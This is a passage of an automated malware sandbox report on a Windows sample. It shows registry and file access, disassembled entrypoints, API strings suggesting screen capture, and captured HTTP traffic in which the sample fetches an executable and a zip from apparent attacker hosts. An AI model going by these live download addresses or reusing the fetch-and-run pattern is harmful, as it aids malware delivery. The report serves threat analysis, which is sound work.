"STRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00006116.00000000.116524.03660000.00000004.mdmp 00000000-00009160.00000000.117798.03570000.00000004.mdmp "System\CurrentControlSet\Services\PLA\Configuration" in Source: 00000000-00006116.00000000.116524.03660000.00000004.mdmp 00000000-00009160.00000000.117798.03570000.00000004.mdmp "System\CurrentControlSet\Services\PLA" in Source: 00000000-00006116.00000000.116524.03660000.00000004.mdmp 00000000-00009160.00000000.117798.03570000.00000004.mdmp "System\CurrentControlSet\Services\SysmonLog" in Source: 00000000-00006116.00000000.116524.03660000.00000004.mdmp 00000000-00009160.00000000.117798.03570000.00000004.mdmp "System\CurrentControlSet\Services\SysMonLog" in Source: 00000000-00006116.00000000.116524.03660000.00000004.mdmp 00000000-00009160.00000000.117798.03570000.00000004.mdmp "System\CurrentControlSet\Services" in Source: 00000000-00006116.00000000.116524.03660000.00000004.mdmp 00000000-00009160.00000000.117798.03570000.00000004.mdmp "SOFTWARE\CLASSES\CLSID\{9a5dd473-d410-11d1-b829-00c04f94c7c3}" in Source: 00000000-00006116.00000000.116524.03660000.00000004.mdmp 00000000-00009160.00000000.117798.03570000.00000004.mdmp "System\CurrentControlSet\Control\WMI\AutoLogger" in Source: 00000000-00006116.00000000.116524.03660000.00000004.mdmp 00000000-00009160.00000000.117798.03570000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers" in Source: 00000000-00006116.00000000.116524.03660000.00000004.mdmp34:T638,"GET /ping.php?substr=0 HTTP/1.1 Host: 185.172.128.228 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.129 Safari/537.36" Response ==> HTTP/1.1 200 OK Date: Mon 29 Apr 2024 10:36:40 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Content-Type: text/html; charset=UTF-8 with response body ==>....... "GET /timeSync.exe HTTP/1.1 Host: 185.172.128.203 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.129 Safari/537.36" Response ==> HTTP/1.1 200 OK Date: Mon 29 Apr 2024 10:36:40 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon 29 Apr 2024 10:30:01 GMT ETag: "32a00-61739bc648c1f" Accept-Ranges: bytes Content-Length: 207360 Content-Type: application/x-msdos-program with response body ==>4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000E8000000....... "GET /1/Package.zip HTTP/1.1 Host: note.padd.cn.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.129 Safari/537.36" Response ==> HTTP/1.1 200 OK Server: nginx Date: Mon 29 Apr 2024 10:21:05 GMT Content-Type: application/zip Content-Length: 3884863 Last-Modified: Wed 24 Apr 2024 05:45:46 GMT Connection: keep-alive ETag: "66289c8a-3b473f" Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes with response body ==>504B03041400000008000B3F9858EFDA8C80DDC71200094914000900000062756E63682E6461745C5D87A2AA3A16CDAF898A20222A16100554EC151BFAF7B3D6.......35:T4c5,"850a2a0eee8fe41dc2b84bcf4f692aa2.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" was detected as "Microsoft Linker" and name: "Linker" "run.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "run.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "run.exe" was detected as "Microsoft Linker" and name: "Linker" "UIxMarketPlugin.dll" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "UIxMarketPlugin.dll" was detected as "Microsoft Visual C/C++" and name: "Compiler" "UIxMarketPlugin.dll" was detected as "Microsoft Linker" and name: "Linker" "relay.dll" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "relay.dll" was detected as "Microsoft Visual C/C++" and name: "Compiler" "relay.dll" was detected as "Microsoft Linker" and name: "Linker" "u3qc.0.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "u3qc.0.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "u3qc.0.exe" was detected as "Microsoft Linker" and name: "Linker"36:Tb7c,"850a2a0eee8fe41dc2b84bcf4f692aa2.exe" file has an entrypoint instructions - "call 0x404f2c,jmp 0x40148c,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,mov ecx, dword ptr [esp + 4],test ecx, 3,je 0x401650,mov al, byte ptr [ecx],add ecx, 1,test al, al,je 0x401683,test ecx, 3,jne 0x40162c,add eax, 0,lea esp, [esp],lea esp, [esp],mov eax, dword ptr [ecx],mov edx, 0x7efefeff,add edx, eax,xor eax, 0xffffffff,xor eax, edx,add ecx, 4,test eax, 0x81010100,je 0x401650,mov eax, dword ptr [ecx - 4],test al, al," "run.exe" file has an entrypoint instructions - "call 0x575359,jmp 0x56c086,cmp ecx, dword ptr [0x614d20],jne 0x56c207,ret ,jmp 0x5753f4,mov eax, ecx,and dword ptr [eax + 4], 0,mov dword ptr [eax], 0x5d2d18,mov byte ptr [eax + 8], 0,ret ,mov eax, dword ptr [ecx + 4],test eax, eax,jne 0x56c229,mov eax, 0x5d2d20,ret ,mov edi, edi,push ebp,mov ebp, esp,cmp dword ptr [ebp + 8], 0,push edi,mov edi, ecx,je 0x56c265,push esi,push dword ptr [ebp + 8],call 0x56fd90,lea esi, [eax + 1],push esi,call 0x56c954,pop ecx,pop ecx,mov dword ptr [edi + 4], eax,test eax, eax,je 0x56c264,push dword ptr [ebp + 8],push esi," "UIxMarketPlugin.dll" file has an entrypoint instructions - "mov edi, edi,push ebp,mov ebp, esp,cmp dword ptr [ebp + 0xc], 1,jne 0x100f9fa3,call 0x10102d23,push dword ptr [ebp + 8],mov ecx, dword ptr [ebp + 0x10],mov edx, dword ptr [ebp + 0xc],call 0x100f9e9d,pop ecx,pop ebp,ret 0xc,mov edi, edi,push ebp,mov ebp, esp,cmp dword ptr [ebp + 8], 0,je 0x100f9fee,push dword ptr [ebp + 8],push 0,push dword ptr [0x1016ecf0],call dword ptr [0x1011f26c],test eax, eax,jne 0x100f9fee,push esi,call 0x100facfa,mov esi, eax,call dword ptr [0x1011f3f4],push eax,call 0x100facb8,pop ecx,mov dword ptr [esi], eax,pop esi,pop ebp,ret ,mov edi, edi,push ebp,mov ebp, esp,push ecx,push ebx," "relay.dll" file has an entrypoint instructions - "mov edi, edi,push ebp,mov ebp, esp,cmp dword ptr [ebp + 0xc], 1,jne 0x100f3094,call 0x100fa1ad,push dword ptr [ebp + 8],mov ecx, dword ptr [ebp + 0x10],mov edx, dword ptr [ebp + 0xc],call 0x100f2f8e,pop ecx,pop ebp,ret 0xc,mov edi, edi,push ebp,mov ebp, esp,call 0x100f9489,test eax, eax,je 0x100f30bc,push eax,call 0x100f964b,pop ecx,push dword ptr [ebp + 8],call dword ptr [0x10117248],int3 ,push 0xc,push 0x101544e8,call 0x100f6320,call 0x100f9502,and dword ptr [ebp - 4], 0,push dword ptr [eax + 0x58],call dword ptr [eax + 0x54],push eax,call 0x100f30a7," "u3qc.0.exe" file has an entrypoint instructions - "call 0x404f2c,jmp 0x40148c,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,mov ecx, dword ptr [esp + 4],test ecx, 3,je 0x401650,mov al, byte ptr [ecx],add ecx, 1,test al, al,je 0x401683,test ecx, 3,jne 0x40162c,add eax, 0,lea esp, [esp],lea esp, [esp],mov eax, dword ptr [ecx],mov edx, 0x7efefeff,add edx, eax,xor eax, 0xffffffff,xor eax, edx,add ecx, 4,test eax, 0x81010100,je 0x401650,mov eax, dword ptr [ecx - 4],test al, al,"37:T539,"run.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- [targetUID: 00000000-00004836] "UIxMarketPlugin.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- [targetUID: 00000000-00004836] "relay.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- [targetUID: 00000000-00004836] "u3qc.0.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- [targetUID: 00000000-00004836] "il_Plugin_v1.lnk.bin" has type "MS Windows shortcut Item id list present Points to a file or directory Has Relative path Archive ctime=Wed Apr 24 14:56:20 2024 mtime=Wed Apr 24 14:56:20 2024 atime=Wed Apr 24 14:56:20 2024 length=2469936 window=hide"- [targetUID: 00000000-00004836] "u3qc.1.zip" has type "Zip archive data at least v2.0 to extract"- [targetUID: 00000000-00004836] "ff6c1290" has type "data"- [targetUID: 00000000-00004836] "21f1999" has type "data"- [targetUID: 00000000-00004836] "bunch.dat" has type "data"- [targetUID: 00000000-00004836] "whale.dbf" has type "data"- [targetUID: 00000000-00004836] "ncfonldkvc" has type "MS Windows shortcut Item id list present Points to a file or directory Has Relative path Archive ctime=Wed Apr 24 14:56:20 2024 mtime=Wed Apr 24 14:56:20 2024 atime=Wed Apr 24 14:56:20 2024 length=2469936 window=hide"- [targetUID: 00000000-00004836]38:T673,"850a2a0eee8fe41dc2b84bcf4f692aa2.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: ""; Value: "") "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: ""; Value: "") "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: ""; Value: "") "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SHELL FOLDERS"; Key: ""; Value: "") "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS\DISABLE8AND16BITMITIGATION"; Key: ""; Value: "")39:Tbda,"850a2a0eee8fe41dc2b84bcf4f692aa2.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: "850A2A0EEE8FE41DC2B84BCF4F692AA2.EXE"; Value: "") "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: ""; Value: "") "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: "LONGPATHSENABLED"; Value: "") "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "LOGFLAGS"; Value: "") "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "SHOWDEBUGINFO"; Value: "") "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SHELL FOLDERS"; Key: "CACHE"; Value: "") "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY"; Value: "") "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK"; Value: "") "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\MUI\UILANGUAGES\EN-US"; Key: "TYPE"; Value: "") "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\MUI\UILANGUAGES\EN-US"; Key: "ALTERNATECODEPAGE"; Value: "") "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "") "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "ENABLED"; Value: "") "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA"; Key: "FIPSALGORITHMPOLICY"; Value: "") "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "MDMENABLED"; Value: "") "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORUSESYSTEMHEAP"; Value: "")3a:T4dd,"850a2a0eee8fe41dc2b84bcf4f692aa2.exe" trying to touch file "C:\Windows\System32\WOW64LOG.DLL" "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" trying to touch file "C:\Windows\SysWOW64\apphelp.dll" "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" trying to touch file "C:\850a2a0eee8fe41dc2b84bcf4f692aa2.exe" "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" trying to touch file "C:\Windows\SysWOW64\ntdll.dll" "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" trying to touch file "C:\Windows\SysWOW64\kernel32.dll" "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" trying to touch file "C:\Windows\SysWOW64\KernelBase.dll" "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" trying to touch file "C:\Windows\apppatch\sysmain.sdb" "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" trying to touch file "C:\Windows\SysWOW64\win32u.dll" "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" trying to touch file "C:\Windows\SysWOW64\ucrtbase.dll" "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" trying to touch file "C:\Windows\SysWOW64\msvcp_win.dll" "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" trying to touch file "C:\Windows\SysWOW64\gdi32full.dll" "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" trying to touch file "C:\Windows\SysWOW64\gdi32.dll" "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" trying to touch file "C:\Windows\SysWOW64\user32.dll"3b:T71c,Found reference to API "UIxString_InternetConnectionFailure" (Indicator: "InternetConnect"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp") Found reference to API "CInternetConnection" (Indicator: "InternetConnect"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp") Found reference to API "HttpQueryInfoW" (Indicator: "HttpQueryInfo"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp") Found reference to API "InternetOpenW" (Indicator: "InternetOpen"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp") Found reference to API "InternetReadFile" (Indicator: "InternetReadFile"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp") Found reference to API "HttpSendRequestW" (Indicator: "HttpSendRequest"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp") Found reference to API "InternetConnectW" (Indicator: "InternetConnect"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp") Found reference to API "HttpOpenRequestW" (Indicator: "HttpOpenRequest"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp") Found reference to API ".?AVCInternetConnection@@" (Indicator: "InternetConnect"; Source: "00000000-00006116.00000000.116524.01140000.00000004.mdmp, 00000000-00009160.00000000.117798.01140000.00000004.mdmp")3c:T2606,Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00001100.00000000.115418.050D0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00001100.00000001.117335.050D0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00001100.00000002.119256.050D0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00004836.00000000.107927.050C0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00004836.00000001.109846.050C0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00004836.00000002.111766.050C0000.00000004.mdmp") Found URL "http://wininet.dllhttp/1.0comboboxmfcm100u.dllf:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\auxdata.cppmfcvslistboxmfcshelltreemfcshelllistmfcpropertygridstaticmfcmenubuttonmfcmaskededitmfclinkmfcfontcomboboxcomboboxmfceditbrowsemfccolorbuttonmfcbuttontruesystem.ini.hlp.chmcommdlg_findreplaceshell32.dll%08lx%04x%04x%02x%02x%02x%02x%02x%02x%02x%02xdwmapi.dlluxtheme.dllshell32.dll%s:%x:%x:%x:%xtahomasegoe" - Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp") Found URL "http://gdlp01.c-wss.com/rmds/ic/universalinstaller/common/checkconnectionuixcontentsplugin,contentscreate,%suixdatasetpluginuixcontentsplugin,contentscreate,%d,0x%08xuixcontentsplugin,contentsrelease,0x%08xuixcontentsplugin,contentsrelease,%d%s;" - Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp") Found URL "http://c0rl.m%l/products/a>." - Source: "00000000-00006116.00000000.116524.064D4000.00000004.mdmp") Found URL "https://www.digicert.comp/cpswb/c@6r@0aazm$v0t08xcrtl3ssuredid" - Source: "00000000-00006116.00000000.116524.064D4000.00000004.mdmp") Found URL "http://ocsp0cf" - Source: "00000000-00006116.00000000.116524.064D4000.00000004.mdmp") Found URL "http://www.info-zip.org/" - Source: "00000000-00006116.00000000.116524.06614000.00000004.mdmp") Found URL "ftp://ftp.info-zip.org/pub/infozip,the" - Source: "00000000-00006116.00000000.116524.06614000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftcodeverifroot.crl0g" - Source: "00000000-00006116.00000000.116524.06614000.00000004.mdmp") Found URL "http://crl3.digicert.com/assured-cs-g1.crl00*http://crl4.digicert.com/assured-cs-g1.crl0le0c070*0(https://www.digicert.com/cps0v0t0$http://ocsp.digicert.com0l@http://cacerts.digicert.com/digicertassuredidcodesigningca-1.crt0g]" - Source: "00000000-00006116.00000000.116524.06614000.00000004.mdmp") Found URL "https://www.digicert.com/cps0azm$v0t082http://crl3.digicert.com/digicertassuredidca-1.crl082http://crl4.digicert.com/digicertassuredidca-1.crl0wk0i0$http://ocsp.digicert.com0a5http://cacerts.digicert.com/digicertassuredidca-1.crt0iw!]4/(o:r" - Source: "00000000-00006116.00000000.116524.06614000.00000004.mdmp") Found URL "http://www.digicert.com/ssl-cps-repository.htm0m0k0$http://ocsp.digicert.com0c7http://cacerts.digicert.com/digicertassuredidrootca.crt0z0x0:4http://crl3.digicert.com/digicertassuredidrootca.crl0:4http://crl4.digicert.com/digicertassuredidrootca.crl0;!%" - Source: "00000000-00006116.00000000.116524.06614000.00000004.mdmp") Found URL "http://www.digicert.com/ssl-cps-repository.htm0m0k0$http://ocsp.digicert.com0c7http://cacerts.digicert.com/digicertassuredidrootca.crt0z0x0:4http://crl3.digicert.com/digicertassuredidrootca.crl0:4http://crl4.digicert.com/digicertassuredidrootca.crl0digicert" - Source: "00000000-00006116.00000000.116524.06614000.00000004.mdmp") Found URL "http://www.vmware.com/0t" - Source: "00000000-00006116.00000000.116524.06614000.00000004.mdmp") Found URL "http://sv.symcb.com/sv.crl0az0x0v0l0" - Source: "00000000-00006116.00000000.116524.06614000.00000004.mdmp") Found URL "https://d.symcb.com/cps0%https://d.symcb.com/rpa0k0i0http://sv.symcd.com0&http://sv.symcb.com/sv.crt0-o6%1*c1rmv))e." - Source: "00000000-00009160.00000000.117798.063FD000.00000004.mdmp") Found URL "https://www.digicert.comp/cpswb/c@6r@0aazm$v0t08xcrtl3ssuredid" - Source: "00000000-00009160.00000000.117798.063FD000.00000004.mdmp") Found URL "http://ocsp0cf" - Source: "00000000-00009160.00000000.117798.063FD000.00000004.mdmp") Found URL "http://www.info-zip.org/" - Source: "00000000-00009160.00000000.117798.06534000.00000004.mdmp") Found URL "ftp://ftp.info-zip.org/pub/infozip,the" - Source: "00000000-00009160.00000000.117798.06534000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftcodeverifroot.crl0g" - Source: "00000000-00009160.00000000.117798.06534000.00000004.mdmp") Found URL "http://crl3.digicert.com/assured-cs-g1.crl00*http://crl4.digicert.com/assured-cs-g1.crl0le0c070*0(https://www.digicert.com/cps0v0t0$http://ocsp.digicert.com0l@http://cacerts.digicert.com/digicertassuredidcodesigningca-1.crt0g]" - Source: "00000000-00009160.00000000.117798.06534000.00000004.mdmp") Found URL "https://www.digicert.com/cps0azm$v0t082http://crl3.digicert.com/digicertassuredidca-1.crl082http://crl4.digicert.com/digicertassuredidca-1.crl0wk0i0$http://ocsp.digicert.com0a5http://cacerts.digicert.com/digicertassuredidca-1.crt0iw!]4/(o:r" - Source: "00000000-00009160.00000000.117798.06534000.00000004.mdmp") Found URL "http://www.digicert.com/ssl-cps-repository.htm0m0k0$http://ocsp.digicert.com0c7http://cacerts.digicert.com/digicertassuredidrootca.crt0z0x0:4http://crl3.digicert.com/digicertassuredidrootca.crl0:4http://crl4.digicert.com/digicertassuredidrootca.crl0;!%" - Source: "00000000-00009160.00000000.117798.06534000.00000004.mdmp") Found URL "http://www.digicert.com/ssl-cps-repository.htm0m0k0$http://ocsp.digicert.com0c7http://cacerts.digicert.com/digicertassuredidrootca.crt0z0x0:4http://crl3.digicert.com/digicertassuredidrootca.crl0:4http://crl4.digicert.com/digicertassuredidrootca.crl0digicert" - Source: "00000000-00009160.00000000.117798.06534000.00000004.mdmp") Found URL "http://www.vmware.com/0t" - Source: "00000000-00009160.00000000.117798.06534000.00000004.mdmp") Found URL "http://sv.symcb.com/sv.crl0az0x0v0l0" - Source: "00000000-00009160.00000000.117798.06534000.00000004.mdmp") Found URL "https://d.symcb.com/cps0%https://d.symcb.com/rpa0k0i0http://sv.symcd.com0&http://sv.symcb.com/sv.crt0-o6%1*c1rmv))e" (Indicator: "GetDC"; Source: "00000000-00001100.00000000.115418.050D0000.00000004.mdmp, 00000000-00001100.00000001.117335.050D0000.00000004.mdmp, 00000000-00001100.00000002.119256.050D0000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00001100.00000000.115418.050D0000.00000004.mdmp, 00000000-00001100.00000001.117335.050D0000.00000004.mdmp, 00000000-00001100.00000002.119256.050D0000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00001100.00000000.115418.050D0000.00000004.mdmp, 00000000-00001100.00000001.117335.050D0000.00000004.mdmp, 00000000-00001100.00000002.119256.050D0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00001100.00000000.115418.050D0000.00000004.mdmp, 00000000-00001100.00000001.117335.050D0000.00000004.mdmp, 00000000-00001100.00000002.119256.050D0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00001100.00000000.115418.050D0000.00000004.mdmp, 00000000-00001100.00000001.117335.050D0000.00000004.mdmp, 00000000-00001100.00000002.119256.050D0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00001100.00000000.115418.050D0000.00000004.mdmp, 00000000-00001100.00000001.117335.050D0000.00000004.mdmp, 00000000-00001100.00000002.119256.050D0000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: "00000000-00001100.00000000.115418.050D0000.00000004.mdmp, 00000000-00001100.00000001.117335.050D0000.00000004.mdmp, 00000000-00001100.00000002.119256.050D0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00001100.00000000.115418.050D0000.00000004.mdmp, 00000000-00001100.00000001.117335.050D0000.00000004.mdmp, 00000000-00001100.00000002.119256.050D0000.00000004.mdmp") Found reference to API "GetDC" (Indicator: "GetDC"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp") Found reference to API "GetWindowDC" (Indicator: "GetWindowDC"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp") Found reference to API "GetDesktopWindow" (Indicator: "GetDesktopWindow"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp") Found reference to API "CreateCompatibleDC" (Indicator: "CreateCompatibleDC"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp") Found reference to API "BitBlt" (Indicator: "BitBlt"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp") Found reference to API "CreateCompatibleBitmap" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp") Found reference to API "CreateDCW" (Indicator: "CreateDC"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 